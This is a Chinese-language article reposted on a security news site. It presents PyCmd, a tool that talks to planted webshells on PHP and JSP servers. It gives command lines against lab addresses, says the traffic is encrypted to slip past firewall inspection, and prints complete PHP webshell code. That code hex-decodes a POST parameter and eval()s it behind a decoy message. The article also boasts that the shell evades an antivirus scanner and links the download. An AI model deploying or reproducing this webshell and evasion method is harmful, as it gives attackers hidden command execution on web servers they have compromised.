安全圈 | 专注于最新网络信息安全讯息新闻

首页

freebuf互聯網安全新媒體平臺

作者 schoultz 时间 2020-02-27
all

之前寫了一個基於python的一句話木馬用戶端程式,這個程式的作用大致就是為了繞過防護設備,使敏感數據能在網絡裏自由穿梭。由於程式設計能力有限,當時以python程式作為用戶端,php程式碼作為服務端,勉强能用,但是缺乏jsp的服務端,使之功能很局限。幸好有大神caomei相助,幫助實現了jsp端的程式碼,故將兩者相結合,方便使用。

PyCmd適用環境

當服務器允許上傳任意檔案,且對檔案內容不進行稽核檢查,但由於其網絡邊界有防火牆會攔截稽核通信的數據。這時我們能成功上傳一句話木馬,然而連接菜刀的時候會出現500錯誤,此時可以使用pycmd工具,因為其會對互相通信的內容加密處理。

PyCmd使用

我這裡準備了2個靶機,分別裝有php與jsp的運行環境,用來類比真實的網站服務器。

為了方便,我已經把服務端木馬程式放到了服務器網站目錄下:

php網站木馬地址:10.0.3.13/test/p.php

jsp網站木馬地址:192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp

查看shell的情况:

此時,運行PyCmd.py程式:

python PyCmd.py -u http://10.0.3.13/test/p.php -p test [--proxy] python PyCmd.py -u http://192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp -p test [--proxy]

程式會自動判斷輸入的網站類型,這裡是jsp類型的網站。

運行程式可輸入以下參數:

-h查看幫助資訊

-u網站木馬地址

-p木馬shell密碼

–proxy開啟本地代理(方便調試)

注:當開啟本地調試,需運行Fiddler程式,或者其他抓包軟件。

PyCmd資料加密

PyCmd程式的長處在於它對往來的數據進行了加密,可以繞過防火牆對數據內容的校驗。

當執行cmd命令時,通過Fiddler抓包查看數據:

查看回報資訊:   

PyCmd木馬隱身

用D盾掃描上傳的木馬服務端檔案,顯示為正常檔案,成功躲過查殺(2016.9.18日檢測結果)

這裡演示php木馬查殺:

<?php

$string=”;

$password=’test’;

if(isset($_POST[$password])){

$hex=$_POST[$password];

for($i=0;$i<strlen($hex)-1;$i+=2){

$string.=chr(hexdec($hex[$i].$hex[$i+1]));

}

@eval($string);

}else{

echo“This is a Test!”;

}

?>

工具下載

PyCmd 下載地址

項目地址:https://github.com/tengzhangchao/PyCmd

說明:繞過防火牆檢測的方法很多,這裡只是提供了一種思路,pycmd是我去年寫的一款工具,最近打算完善其功能,程式碼已經開源。

原文連接:PyCmd加密隱形木馬

*本文作者:nmask,轉載請注明來自FreeBuf.COM